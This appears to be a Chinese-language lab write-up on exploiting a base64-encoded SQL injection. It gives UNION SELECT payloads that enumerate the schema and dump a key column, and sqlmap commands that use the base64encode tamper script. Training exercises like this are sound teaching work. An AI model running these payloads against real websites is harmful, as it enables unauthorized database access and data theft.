Background
网站维护人员在WEB目录中放了一个可能存在漏洞的页面。
安全工程师“墨者”负责对该页面进行安全测试,看是否存在安全漏洞影响网站及服务器的运行。
- 了解并熟练使用手工SQL注入;
- 了解MySQL的相关知识;
- 了解SQLMAP的使用及其tamper插件的使用;
- 了解base64编码及解码。
判断注入点
打开页面链接
观察url
1 | http://219.153.49.228:43444/show.php?id=MQo= |
发现id的参数值MQo=是通过base64编码的1;
即,id参数发送给服务器的值是需要经过base64编码的
先对url进行简单的sql注入判断(base64编码)
1 | 1 and 1 = 1 MSBhbmQgMSA9IDE= 正常显示 |
这样一来可以判断出该页面是存在sql注入的
我们可以通过手工注入,也可以通过工具自动化注入
手工注入
先判断select语句中的列字段个数
可以用ordre by语句
1 | 1 order by 1 MSBvcmRlciBieSAx 正常 |
判断出select语句中的列字段数为2个
构造语句
1 | http://219.153.49.228:43444/show.php?id=0 union select 1,2 (以下是编码后的参数) |
“0”的作用是让前面报错,让后面联合查询的内容得以显示
接下来是查询数据库的相关信息(查询数据库名和版本信息)
1 | http://219.153.49.228:43444/show.php?id=0 union select database(),version() |
查询到数据库名是test
查询数据库表名
1 | http://219.153.49.228:43444/show.php?id=0 union select group_concat(table_name),null from information_schema.tables where table_schema ='test' |
查询出数据库表名data
查询test.data表中的列
1 | http://219.153.49.228:43444/show.php?id=0 union select group_concat(column_name),null from information_schema.columns where table_schema ='test' and table_name='data' |
查询到列名id,title,main,thekey
通过数据库表名查询字段内容
1 | http://219.153.49.228:43444/show.php?id=0 union select main,thekey from test.data |
sqlmap自动化注入
先简单测试
用tamper参数加载脚本 (脚本在sqlmap/tamper文件中)
1 | sqlmap.py -u "http://219.153.49.228:43444/show.php?id=MQo=" --tamper="base64encode.py" --batch |
没有发现注入点,尝试提高扫描强度
1 | sqlmap.py -u "http://219.153.49.228:43444/show.php?id=MQo=" --tamper="base64encode.py" --batch --level 2 |
发现注入点了,就直接进行爆库
爆数据库名
1 | sqlmap.py -u "http://219.153.49.228:43444/show.php?id=MQo=" --tamper="base64encode.py" --batch --level 2 --dbs |
爆数据库表名
1 | sqlmap.py -u "http://219.153.49.228:43444/show.php?id=MQo=" --tamper="base64encode.py" --batch --level 2 -D test --tables |
爆列名
1 | sqlmap.py -u "http://219.153.49.228:43444/show.php?id=MQo=" --tamper="base64encode.py" --batch --level 2 -D test -T data --columns |
爆字段内容
1 | sqlmap.py -u "http://219.153.49.228:43444/show.php?id=MQo=" --tamper="base64encode.py" --batch --level 2 -D test -T data -C thekey --dump |